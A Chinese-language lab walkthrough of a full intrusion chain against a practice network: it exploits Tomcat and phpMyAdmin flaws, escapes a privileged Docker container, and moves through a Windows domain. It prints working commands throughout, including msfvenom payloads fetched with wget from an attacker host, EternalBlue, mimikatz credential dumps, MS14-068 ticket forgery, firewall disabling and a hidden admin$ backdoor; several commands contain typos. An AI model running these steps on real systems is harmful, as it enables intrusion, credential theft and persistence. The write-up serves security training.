记一次docker逃逸拿shell的靶场渗透。

环境搭建

靶场:

ubuntu

内网ip:192.168.183.10

外网ip:192.168.1.6

域内主机:

win7:192.168.183.129

win2008:192.168.183.130

需手动开启ubuntu的docker环境,对应的端口服务如下

2001 struts2

2002 tomcat8

2003 phpmyadmin 4.8.1

docker加入防火墙_php

外网打点

端口扫描

首先对ubuntu进行端口扫描,发现2001、2002、2003三个特征端口

nmap -T4 -sC -sV 192.168.1.6

docker加入防火墙_docker加入防火墙_02

Struts2

首先访问2001端口,是一个struts2的框架

docker加入防火墙_windows_03

这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞

docker加入防火墙_docker_04

首先使用S2-045看能不能命令执行,这里发现返回的是html

docker加入防火墙_docker加入防火墙_05

再换一个S2-046漏洞发现能够命令回显

docker加入防火墙_docker加入防火墙_06

这里直接尝试上传一个jsp上去试试,返回了路径

docker加入防火墙_安全_07

这里访问一下,返回了404,这里我尝试了其他几个路径都是返回404,但是S2-046这个漏洞应该是能拿到shell的,这里这个端口就没继续进行尝试了

docker加入防火墙_php_08

Tomcat8

看一下2002端口是一个apache tomcat8

docker加入防火墙_docker_09

这里直接去kali上搜索对应版本的漏洞并把漏洞检测的poc复制出来

searchsploit tomcat 8.5.19

searchsploit -m /exploit/jsp/webapps/42966.py

docker加入防火墙_php_10

使用poc检测是否存在漏洞,这里发现是存在CVE-2017-12617这个漏洞的,这里的poc原理应该是上传了一个Poc.jsp来判断是否存在漏洞

python 42966.py -u http://192.168.1.6:2002/

docker加入防火墙_docker加入防火墙_11

我们访问一下Poc.jsp,是存在的

docker加入防火墙_docker加入防火墙_12

那么存在漏洞,直接使用-p参数进行攻击,这里拿到了一个反弹回来的shell,这里因为是交互型shell,不太方便下一步的操作,这里尝试着上线msf

python 42966.py -u http://192.168.1.6:2002/ -p pwn

docker加入防火墙_php_13

因为是linux,所以需要生成linux的木马,在kali本地起一个http服务方便靶机下载

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf

python -m SimpleHTTPServer	#py2环境

docker加入防火墙_windows_14

下载shell.elf并赋权执行

wget http://192.168.1.10:8000/shell.elf

chmod 777 shell.elf

./shell.elf

docker加入防火墙_windows_15

使用msf接收会话,上线成功

set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 4444
run

docker加入防火墙_安全_16

phpmyadmin4.8.1

访问2003端口是一个直接暴露的phpmyadmin

docker加入防火墙_安全_17

这里对应版本的漏洞是CVE-2018-12613,是一个文件包含的漏洞,这里看一下漏洞的分析

首先在如下图所示的index.php中存在一处包含指定文件的代码:

docker加入防火墙_docker加入防火墙_18

需要成功包含,必须满足if区间中的五个条件:target参数值不为空;target参数值为字符串;target参数值不以index开头;target参数值不在黑名单中;过checkPageValidity函数的检查。其中第四个条件的黑名单即51行中import.php与export.php;第五个条件需要查看该函数:

docker加入防火墙_安全_19

可以看到core类的checkPageValidity函数中又必须经过以下的五个判断:

1、docker加入防火墙_docker加入防火墙_20goto_whitelist
2、docker加入防火墙_windows_21page不为字符串就返回false
3、docker加入防火墙_docker加入防火墙_22whitelist中返回true
4、如果docker加入防火墙_docker加入防火墙_23whitelist中返回true
5、经过urldecode函数解码后的docker加入防火墙_docker加入防火墙_23whitelist中返回true

我们可以看到在index.php调用checkPageValidity函数时没有传入其他参数,因此会进入第一个判断,而$goto_whitelist如下所示:

docker加入防火墙_windows_25

它定义了很多可以被包含的文件名。然后第二个判断可以跳过;看第三个判断,可以看到docker加入防火墙_安全_26whitelist中的,此处不满足;看第四个判断,这个判断是对docker加入防火墙_windows_27_page是否在白名单中,而docker加入防火墙_php_28page值末尾加上’?’后从字符串第0位开始分割,取其中第一次出现?之前的内容,如下图所示:target=sql.ph%3fp时:

docker加入防火墙_php_29

因此此处可以用’docker加入防火墙_windows_30target进入到index.php的include()中,被包含的文件无法打开,出现报错。(windows文件命名规则中规定了文件名不能出现特殊字符,linux为服务器的情况下,是可以使用?直接进行绕过)

docker加入防火墙_docker_31

第五个判断,先将docker加入防火墙_安全_32whitelist中即可满足条件。而在$target 里问号被二次编码为%253f, db_sql.php%253f也会被认为是一个目录,可以用…/跨越,成功实现包含。因此命名规范里面没有将%放进去也是该漏洞能在windows下成功利用的一个关键点。

docker加入防火墙_docker_33

这样我们可以将?进行二次编码。如果传入target=db_sql.php%253f。在第四个判断中进行白名单校验时,为db_sql.php%3f,不满足,第五个判断的urldecode后,进行校验时为db_sql.php,符合条件,然后即可成功包含文件。

docker加入防火墙_docker加入防火墙_34

这里就可以构造一个payload输出密码

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T85wFMFW-1648048804960)(/images/attck4/image-20210709113358517.png)]

这里首先写入一个phpinfo,然后查看phpMyAdmin的value

docker加入防火墙_docker加入防火墙_35

得到phpMyAdmin:“990aadb371d8e582cb000c716aed9720”,然后构造payload进行文件包含输出phpinfo

?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720

docker加入防火墙_docker加入防火墙_36

写入一句话木马查看phpMyAdmin的值然后构造payload进行文件包含用蚁剑连接即可

phpMyAdmin:“990aadb371d8e582cb000c716aed9720”

?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720

docker加入防火墙_windows_37

内网渗透

docker逃逸

这里理论上三种方法都能够拿到shell,这里我使用tomcat上线到msf的shell进行信息搜集

可以看到有eth0、eth1分别处于1.0/24和183.0/24两个网段,初步判断是有域环境的。

docker加入防火墙_安全_38

继续往下看,还有几个ip,但是不是eth,而且这里有三个ip,根据上面有三个不同的环境,那么可以判断应该是用的docker。那么我们无论使用3个环境的哪个环境拿shell都只是一个docker容器里面的shell,并不是真正ubuntu的shell,所以这里我们还需要进行docker逃逸到ubuntu

docker加入防火墙_docker_39

这里我尝试脏牛失败,这里就需要使用到privileged特权模式逃逸

privileged特权模式逃逸

docker中提供了一个--privileged参数,这个参数本身最初的目的是为了提供在docker中运行docker的能力
https://www.docker.com/blog/docker-can-now-run-within-docker/

docker文档中对这个参数的解释如下
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities

当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh免密登录

这里首先新建一个tmptest文件夹,用来存放挂载后的docker

docker加入防火墙_windows_40

查看一下dev文件夹里面的设备文件

docker加入防火墙_安全_41

可以看到有四个sda设备文件,我这里选择sda1进行挂载

docker加入防火墙_docker_42

使用mount命令将sda1挂载到tmptest文件夹里并用ls指令进行查看

mount /dev/sda1 /tmptest
ls /tmptest

docker加入防火墙_docker加入防火墙_43

然后使用ssh生成一个名叫tmp的私钥,然后用chmod命令赋予权限

ssh-keygen -f tmp
chomd 600 tmp
cat tmp.pub

docker加入防火墙_docker_44

因为我们之前已经把sda1挂载成功了,那么我们如果要访问ubuntu的/home目录,我们直接访问挂载到的tmptest文件夹的/home文件夹即可,即/tmptest/home路径

docker加入防火墙_docker_45

使用ls -alh查看当前目录下包括隐藏文件在内的所有文件

ls -alh /tmptest/home/ubuntu

docker加入防火墙_docker加入防火墙_46

这里我们看到了一个.ssh文件,我们要将ssh私钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)

使用如下命令写入ssh私钥

cp -avx /tmptest/home/ubuntu/.ssh/id_rsa.pub /tmptest/home/ubuntu/.ssh/authorized_keys 

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5yY2m0Ji9Sy+zc1/84P9EI+CQqhi6xwyni/k8cnGSjJf333Bncr0pEHDGU+jtaBzMzgX/b+kDAfvfvXNvI15+1SOmpLmM08H4twac2lGLt3fRbKPK6W8a3eNdaP6LVHZ6OXUmSWMBZPUzHHnfpaOIVAqOsFpIsPyn9NEu0Y8PxnVWJd42aI5fRwwL/OUIiQnQynmBnnxfeG54HpVPvVPeF9YfSJblQCkr3DiN9HiI/i6wIK7nZH33O3wEV7PxWjQ/qOhuhL1HFwLXh3FqWW/uqcE/C6UT4KSYcaoKkEe2iFrdjZ53LUsBXpEzxy4Om27SIl2Od/S2o6PW6wmfbe6GlDFITNf+9ZOVCGz5Zt4qewTP0W8kW4oC2eBz2OaaJoE25q1f0OL/28O2n5CSqxCgLx0rZBLsTHSadYD32iOCtY7r5fQdXkJU4C0tzGYJbs3SNJG3yqJ3yG5cMmnKTz8sblW+B3JdDaWUw8artLteb5Bw2b8yVvRRtgZcBWQPLe0= root@kali' > /tmptest/home/ubuntu/.ssh/authorized_keys

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrmhVWnGEgZWNmpbVC+BMdRKVDjbc78QaCWYMJFxNWSYVayOZEUjYQin4VXwbetNoBGrdT7G1rnK8HNs5iK4u2HClZVhq3uOsWc/QAx0ETT1viv3+rA7JmPWbBNLzYRlEG9OWzvhzxh0cRmQsrX7ngbmcCvaIgQDcFa5NtddEZ4vD5SvumHyABvSL+DygN3ig592aoI2Z65wkYmqV7cBlNuZpZe+L6C7L0LZEXy4dleoaCH4Ks+PcUJ/S4z2ruIpKHktFpdc37DXbXusLxWV9fyD7anFXz5wQ552JT0L7SzD7HQ04OR7DR9dRQ7A1lXDbWrZ7CL1pvTH+L7uhwV7X8qs93pkApiaKDXT4M+uAKLLlwL3cMEL8NM4oWV/PBBm1CfpMNhbj4k3r4c19kec5rlAXCbS/lQKRMtS+mmCvY4QP5MUk6L/adRcC693/m6aqNQVlAk4SJr2yCHP0LwWKV8tH0teBhFVk7lR0A7lz2p+GLdjWYBvsI+8lBs5XBoJ8= root@kali
' > /tmptest/home/ubuntu/.ssh/authorized_keys

docker加入防火墙_docker加入防火墙_47

然后再使用ssh连接ubuntu即可,到此我们才真正意义上拿到了ubuntu的webshell

ssh -i tmptest ubuntu@192.168.1.6

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eRi8ZQ4p-1648048804964)(/images/attck4/image-20210710153607718.png)]

上线宿主机到msf

这里还是按照之前的方法生成一个elf文件在ubuntu上执行

wget http://192.168.1.10:8000/test.elf
chmod 777 test.elf
./test.elf

docker加入防火墙_windows_48

msf设置监听模块接受会话,成功上线

docker加入防火墙_docker加入防火墙_49

存活探测

添加183.0/24的路由并设置socks代理把msf带入内网,注意要配置proxychains.conf文件

route add 192.168.183.0 255.255.255.0 3
route print

use auxiliary/server/socks_proxy
set version 4a
run

docker加入防火墙_windows_50

可以使用proxychains配合nmap对整个内网网段进行扫描,但是这里它会一个一个ip+端口的方式去扫描,速度比较慢

proxychains4 nmap -sT -Pn 192.168.183.1/24

docker加入防火墙_安全_51

我这里使用个速度稍微快点的,使用的是kali里面的udp_probe模块

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-255
set threads 20
run

这里可以看到内网中还有两台主机存活,一个是192.168.183.129,一个192.168.183.130,这里注意到130开了一个53端口,这里初步判断130为域控

docker加入防火墙_docker加入防火墙_52

永恒之蓝尝试

这里直接上手永恒之蓝先打一波,这里实战的话最好先扫描,因为直接打的话可能会打蓝屏,这里是靶场的原因我就直接上手打了。之前提到过130开了53端口初步判断为域控,所以这里先从129这台主机入手

use exploit/windows/ smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129
run

docker加入防火墙_安全_53

这里看到永恒之蓝直接打成功了返回了一个SYSTEM权限的meterpreter,这里先进行一个进程迁移,从x86迁移到x64的进程里面

docker加入防火墙_docker_54

我这里迁移到472这个system进程里面

docker加入防火墙_docker加入防火墙_55

然后开启一个windows环境下的cmd进行信息搜集

chcp 65001
net user
net view /domain

可以看到这里是在DEMO这个域环境里面

docker加入防火墙_安全_56

ping一下130,能够ping通

docker加入防火墙_windows_57

获取密码

这里获取密码有两种方法,先使用常规方法mimikatz抓取

使用copy命令上传一个mimikatz,这里tasklist /svc查看进程是没有杀软的那么直接上mimikatz了

这里出现了一个问题提示我的权限不够不能够获取调试权限

docker加入防火墙_docker_58

那么这里exit回到meterpreter里面使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取

use incognito
inpersonate_token "NT AUTHORITY\SYSTEM"

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

docker加入防火墙_docker加入防火墙_59

这里得到域成员douser/Dotest123

docker加入防火墙_windows_60

这里还有一个获取密码的方式就是获取ubuntu执行命令的历史记录,我们知道ubuntu有两个网段,跟129这台主机是在一个域内的,那么可以看一下是否有连接过129这台主机的命令曾经执行过,这里就类似于windows里面的udp凭证被保存了下来

docker加入防火墙_docker加入防火墙_61

docker加入防火墙_php_62

域控横向移动

这里拿到了域成员的帐号和密码,这里我们直接使用一个ptt伪造票据来拿到域控权限,利用mimikatz注入票据

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache   //将票据注入

docker加入防火墙_windows_63

这里使用klist查看下票据已经注入进去了

docker加入防火墙_php_64

这里直接使用ipc连接域控,注意这里需要用主机名而不能用ip

net use \\WIN-ENS2VR5TR3N

docker加入防火墙_php_65

这里生成一个正向连接的msf马

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444 -f exe -o bind.exe

docker加入防火墙_php_66

使用copy命令复制到DC上后使用sc创建计划任务

schtasks /create /tn "test" /tr C:\Users\Desktop\bind.exe /sc MINUTE /S 192.168.183.130

docker加入防火墙_docker加入防火墙_67

使用sc关闭防火墙

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

docker加入防火墙_安全_68

创建服务执行msf马并用msf接受会话

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

use exploit/multi/handler
set payload/meterpreter/bind_tcp
set lhost 192.168.1.10
set lport 4444
run

docker加入防火墙_安全_69

成功接收到DC会话使用getsystem提权到system

docker加入防火墙_docker_70

上传mimikatz抓取DC密码,得到DEMO qwe123!@#

docker加入防火墙_docker加入防火墙_71

打开DC的远程桌面

run post/windows/manage/enable_rdp

docker加入防火墙_安全_72

使用socks代理进入内网打开远程桌面

proxychains4 rdesktop 192.168.183.130

docker加入防火墙_docker加入防火墙_73

权限维持

这里拿到域管用户之后可以使用金票进行权限维持,这里我就简单的添加一个隐藏用户进行权限维持

net user admin$ qaz123!@# /add		#添加用户admin$

net localgroup administrators admin$ /add	#将admin$用户添加到管理员组administrators

这里再使用net user是看不到这个隐藏用户的

docker加入防火墙_docker_74